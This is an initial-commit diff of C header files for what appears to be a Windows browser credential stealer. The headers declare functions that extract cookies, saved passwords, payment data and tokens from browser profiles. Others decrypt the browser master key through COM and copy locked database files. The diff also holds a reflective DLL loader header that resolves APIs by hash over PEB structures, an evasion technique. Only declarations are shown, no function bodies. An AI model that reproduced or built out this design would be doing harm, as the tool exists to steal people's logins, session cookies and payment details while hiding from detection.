initial commit

2026-08-27 11:22:14 -06:00
commit ec0f5dc87a
56 changed files with 284773 additions and 0 deletions
@@ -0,0 +1,9 @@
+#ifndef BROWSER_H
+#define BROWSER_H
+
+#include "types.h"
+
+bool browser_get_config_for_process(BrowserConfig* config);
+bool browser_get_user_data_path(const BrowserConfig* config, wchar_t* path, size_t len);
+
+#endif // BROWSER_H
@@ -0,0 +1,21 @@
+#ifndef BUFFER_H
+#define BUFFER_H
+
+#include "types.h"
+
+ByteBuffer* buffer_create(size_t initial_capacity);
+void buffer_destroy(ByteBuffer* buf);
+bool buffer_append(ByteBuffer* buf, const uint8_t* data, size_t len);
+bool buffer_resize(ByteBuffer* buf, size_t new_size);
+void buffer_clear(ByteBuffer* buf);
+
+StringArray* string_array_create(size_t initial_capacity);
+void string_array_destroy(StringArray* arr);
+bool string_array_add(StringArray* arr, const char* str);
+bool string_array_contains(StringArray* arr, const char* str);
+
+ProfileList* profile_list_create(size_t initial_capacity);
+void profile_list_destroy(ProfileList* list);
+bool profile_list_add(ProfileList* list, const wchar_t* path);
+
+#endif // BUFFER_H
@@ -0,0 +1,12 @@
+#ifndef CRYPTO_H
+#define CRYPTO_H
+
+#include "types.h"
+
+ByteBuffer* decrypt_gcm(const uint8_t* key, size_t key_len, const uint8_t* blob, size_t blob_len);
+
+ByteBuffer* get_encrypted_master_key(const wchar_t* local_state_path);
+
+ByteBuffer* decrypt_master_key_via_com(const BrowserConfig* config, const uint8_t* encrypted_key, size_t encrypted_key_len);
+
+#endif // CRYPTO_H
@@ -0,0 +1,31 @@
+#ifndef EXTRACTOR_H
+#define EXTRACTOR_H
+
+#include "types.h"
+#include "sqlite3.h"
+
+typedef struct {
+    const wchar_t* db_path;
+    const char* output_name;
+    const char* sql_query;
+} ExtractionConfig;
+
+typedef struct {
+    const wchar_t* profile_path;
+    const wchar_t* output_base;
+    const char* browser_name;
+    const uint8_t* aes_key;
+    size_t key_len;
+} ExtractionContext;
+
+StringArray* extract_cookies(const ExtractionContext* ctx);
+StringArray* extract_passwords(const ExtractionContext* ctx);
+StringArray* extract_payments(const ExtractionContext* ctx);
+StringArray* extract_tokens(const ExtractionContext* ctx);
+
+bool write_json_array(const wchar_t* file_path, StringArray* entries);
+bool write_netscape_cookies(const wchar_t* file_path, StringArray* entries);
+
+void cleanup_temp_files(void);
+
+#endif // EXTRACTOR_H
@@ -0,0 +1,9 @@
+#ifndef HANDLE_DUPLICATOR_H
+#define HANDLE_DUPLICATOR_H
+
+#include <Windows.h>
+#include <stdbool.h>
+
+bool copy_locked_file(const wchar_t* source_path, const wchar_t* dest_path);
+
+#endif // HANDLE_DUPLICATOR_H
@@ -0,0 +1,17 @@
+#ifndef ORCHESTRATOR_H
+#define ORCHESTRATOR_H
+
+#include "types.h"
+
+typedef struct {
+    wchar_t pipe_name[256];
+    wchar_t output_path[MAX_PATH_LEN];
+    bool extract_fingerprint;
+    HANDLE pipe_handle;
+} OrchestratorConfig;
+
+bool orchestrator_init(OrchestratorConfig* config, const wchar_t* pipe_name);
+bool orchestrator_run(OrchestratorConfig* config);
+void orchestrator_cleanup(OrchestratorConfig* config);
+
+#endif // ORCHESTRATOR_H
@@ -0,0 +1,8 @@
+#ifndef PROFILE_H
+#define PROFILE_H
+
+#include "types.h"
+
+ProfileList* profile_find_all(const wchar_t* user_data_root);
+
+#endif // PROFILE_H
@@ -0,0 +1,210 @@
+
+#ifndef REFLECTIVE_LOADER_H
+#define REFLECTIVE_LOADER_H
+#pragma once
+
+#define WIN32_LEAN_AND_MEAN
+#include <windows.h>
+#include <intrin.h>
+
+#if defined(_M_X64) || defined(_M_ARM64)
+#define ENVIRONMENT64
+#else
+#error "Unsupported architecture: Reflective Loader is designed for 64-bit environments (x64, ARM64)."
+#endif
+
+#if defined(_MSC_VER)
+#define DLLEXPORT __declspec(dllexport)
+#else
+#define DLLEXPORT
+#endif
+
+typedef HMODULE(WINAPI *LOADLIBRARYA_FN)(LPCSTR);
+typedef FARPROC(WINAPI *GETPROCADDRESS_FN)(HMODULE, LPCSTR);
+typedef LPVOID(WINAPI *VIRTUALALLOC_FN)(LPVOID, SIZE_T, DWORD, DWORD);
+typedef NTSTATUS(NTAPI *NTFLUSHINSTRUCTIONCACHE_FN)(HANDLE, PVOID, ULONG);
+typedef BOOL(WINAPI *DLLMAIN_FN)(HINSTANCE, DWORD, LPVOID);
+
+#define HASH_KEY 13
+
+#define KERNEL32DLL_HASH 0x6A4ABC5B
+#define NTDLLDLL_HASH 0x3CFA685D
+
+#define LOADLIBRARYA_HASH 0xEC0E4E8E
+#define GETPROCADDRESS_HASH 0x7C0DFCAA
+#define VIRTUALALLOC_HASH 0x91AFCA54
+#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8
+
+typedef struct _UNICODE_STRING_LDR
+{
+    USHORT Length;
+    USHORT MaximumLength;
+    PWSTR Buffer;
+} UNICODE_STRING_LDR, *PUNICODE_STRING_LDR;
+
+typedef struct _PEB_LDR_DATA_LDR
+{
+    ULONG Length;
+    BOOLEAN Initialized;
+    HANDLE SsHandle;
+    LIST_ENTRY InLoadOrderModuleList;
+    LIST_ENTRY InMemoryOrderModuleList;
+    LIST_ENTRY InInitializationOrderModuleList;
+    PVOID EntryInProgress;
+    BOOLEAN ShutdownInProgress;
+    HANDLE ShutdownThreadId;
+} PEB_LDR_DATA_LDR, *PPEB_LDR_DATA_LDR;
+
+typedef struct _LDR_DATA_TABLE_ENTRY_LDR
+{
+    LIST_ENTRY InLoadOrderLinks;
+    LIST_ENTRY InMemoryOrderLinks;
+    LIST_ENTRY InInitializationOrderLinks;
+    PVOID DllBase;
+    PVOID EntryPoint;
+    ULONG SizeOfImage;
+    UNICODE_STRING_LDR FullDllName;
+    UNICODE_STRING_LDR BaseDllName;
+    ULONG Flags;
+    USHORT LoadCount;
+    USHORT TlsIndex;
+    union
+    {
+        LIST_ENTRY HashLinks;
+        struct
+        {
+            PVOID SectionPointer;
+            ULONG CheckSum;
+        };
+    };
+    union
+    {
+        ULONG TimeDateStamp;
+        PVOID LoadedImports;
+    };
+    PVOID EntryPointActivationContext;
+    PVOID PatchInformation;
+    LIST_ENTRY ForwarderLinks;
+    LIST_ENTRY ServiceTagLinks;
+    LIST_ENTRY StaticLinks;
+} LDR_DATA_TABLE_ENTRY_LDR, *PLDR_DATA_TABLE_ENTRY_LDR;
+
+typedef struct _PEB_LDR
+{
+    BOOLEAN InheritedAddressSpace;
+    BOOLEAN ReadImageFileExecOptions;
+    BOOLEAN BeingDebugged;
+    union
+    {
+        BOOLEAN BitField;
+        struct
+        {
+            BOOLEAN ImageUsesLargePages : 1;
+            BOOLEAN IsProtectedProcess : 1;
+            BOOLEAN IsImageDynamicallyRelocated : 1;
+            BOOLEAN SkipPatchingUser32Forwarders : 1;
+            BOOLEAN IsPackagedProcess : 1;
+            BOOLEAN IsAppContainer : 1;
+            BOOLEAN IsProtectedProcessLight : 1;
+            BOOLEAN IsLongPathAware : 1;
+        };
+    };
+    HANDLE Mutant;
+    PVOID ImageBaseAddress;
+    PPEB_LDR_DATA_LDR Ldr;
+    PVOID ProcessParameters;
+    PVOID SubSystemData;
+    PVOID ProcessHeap;
+    PVOID FastPebLock;
+    PVOID AtlThunkSListPtr;
+    PVOID IFEOKey;
+    union
+    {
+        ULONG CrossProcessFlags;
+        struct
+        {
+            ULONG ProcessInJob : 1;
+            ULONG ProcessInitializing : 1;
+            ULONG ProcessUsingVEH : 1;
+            ULONG ProcessUsingVCH : 1;
+            ULONG ProcessUsingFTH : 1;
+            ULONG ProcessPreviouslyThrottled : 1;
+            ULONG ProcessCurrentlyThrottled : 1;
+            ULONG ProcessImagesHotPatched : 1;
+            ULONG ReservedBits0 : 24;
+        };
+    };
+    union
+    {
+        PVOID KernelCallbackTable;
+        PVOID UserSharedInfoPtr;
+    };
+    ULONG SystemReserved;
+    ULONG AtlThunkSListPtr32;
+    PVOID ApiSetMap;
+    ULONG TlsExpansionCounter;
+    PVOID TlsBitmap;
+    ULONG TlsBitmapBits[2];
+    PVOID ReadOnlySharedMemoryBase;
+    PVOID SharedData;
+    PVOID *ReadOnlyStaticServerData;
+    PVOID AnsiCodePageData;
+    PVOID OemCodePageData;
+    PVOID UnicodeCaseTableData;
+    ULONG NumberOfProcessors;
+    ULONG NtGlobalFlag;
+    LARGE_INTEGER CriticalSectionTimeout;
+    SIZE_T HeapSegmentReserve;
+    SIZE_T HeapSegmentCommit;
+    SIZE_T HeapDeCommitTotalFreeThreshold;
+    SIZE_T HeapDeCommitFreeBlockThreshold;
+    ULONG NumberOfHeaps;
+    ULONG MaximumNumberOfHeaps;
+    PVOID *ProcessHeaps;
+    PVOID GdiSharedHandleTable;
+    PVOID ProcessStarterHelper;
+    ULONG GdiDCAttributeList;
+    PVOID LoaderLock;
+    ULONG OSMajorVersion;
+    ULONG OSMinorVersion;
+    USHORT OSBuildNumber;
+    USHORT OSCSDVersion;
+    ULONG OSPlatformId;
+    ULONG ImageSubsystem;
+    ULONG ImageSubsystemMajorVersion;
+    ULONG ImageSubsystemMinorVersion;
+    ULONG_PTR ActiveProcessAffinityMask;
+    ULONG GdiHandleBuffer[60];
+    PVOID PostProcessInitRoutine;
+    PVOID TlsExpansionBitmap;
+    ULONG TlsExpansionBitmapBits[32];
+    ULONG SessionId;
+    ULARGE_INTEGER AppCompatFlags;
+    ULARGE_INTEGER AppCompatFlagsUser;
+    PVOID pShimData;
+    PVOID AppCompatInfo;
+    UNICODE_STRING_LDR CSDVersion;
+    PVOID ActivationContextData;
+    PVOID ProcessAssemblyStorageMap;
+    PVOID SystemDefaultActivationContextData;
+    PVOID SystemAssemblyStorageMap;
+    SIZE_T MinimumStackCommit;
+    PVOID SparePointers[2];
+    PVOID PatchLoaderData;
+    PVOID ChpeV2ProcessInfo;
+    ULONG AppModelFeatureState;
+    ULONG SpareUlongs[2];
+    USHORT ActiveConsoleId;
+    USHORT AppCompatVersionInfo;
+    PVOID ExtendedProcessInfo;
+} PEB_LDR, *PPEB_LDR;
+
+typedef struct _IMAGE_RELOC_ENTRY
+{
+    WORD offset : 12;
+    WORD type : 4;
+} IMAGE_RELOC_ENTRY, *PIMAGE_RELOC_ENTRY;
+
+DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter);
+
+#endif
@@ -0,0 +1,55 @@
+#ifndef TYPES_H
+#define TYPES_H
+
+#include <stdint.h>
+#include <stdbool.h>
+#include <Windows.h>
+
+#define MAX_PATH_LEN 512
+#define MAX_QUERY_LEN 1024
+#define MAX_JSON_LEN 4096
+#define MAX_NETSCAPE_LEN 4096
+#define COOKIE_PLAINTEXT_HEADER_SIZE 32
+#define KEY_SIZE 32
+#define GCM_IV_LENGTH 12
+#define GCM_TAG_LENGTH 16
+
+typedef enum {
+    PROTECTION_NONE = 0,
+    PROTECTION_PATH_VALIDATION_OLD = 1,
+    PROTECTION_PATH_VALIDATION = 2,
+    PROTECTION_MAX = 3
+} ProtectionLevel;
+
+typedef struct {
+    char name[64];
+    wchar_t process_name[64];
+    CLSID clsid;
+    IID iid;
+    wchar_t user_data_path[MAX_PATH_LEN];
+} BrowserConfig;
+
+typedef struct {
+    uint8_t* data;
+    size_t size;
+    size_t capacity;
+} ByteBuffer;
+
+typedef struct {
+    char** items;
+    size_t count;
+    size_t capacity;
+} StringArray;
+
+typedef struct {
+    wchar_t path[MAX_PATH_LEN];
+    bool is_valid;
+} ProfilePath;
+
+typedef struct {
+    ProfilePath* paths;
+    size_t count;
+    size_t capacity;
+} ProfileList;
+
+#endif // TYPES_H
@@ -0,0 +1,13 @@
+#ifndef UTILS_H
+#define UTILS_H
+
+#include "types.h"
+
+bool get_local_appdata_path(wchar_t* path, size_t len);
+ByteBuffer* base64_decode(const char* input);
+void bytes_to_hex(const uint8_t* bytes, size_t len, char* out, size_t out_len);
+char* escape_json_string(const char* str);
+bool read_file_content(const wchar_t* path, char** content, size_t* size);
+bool write_file_content(const wchar_t* path, const char* content, size_t size);
+
+#endif // UTILS_H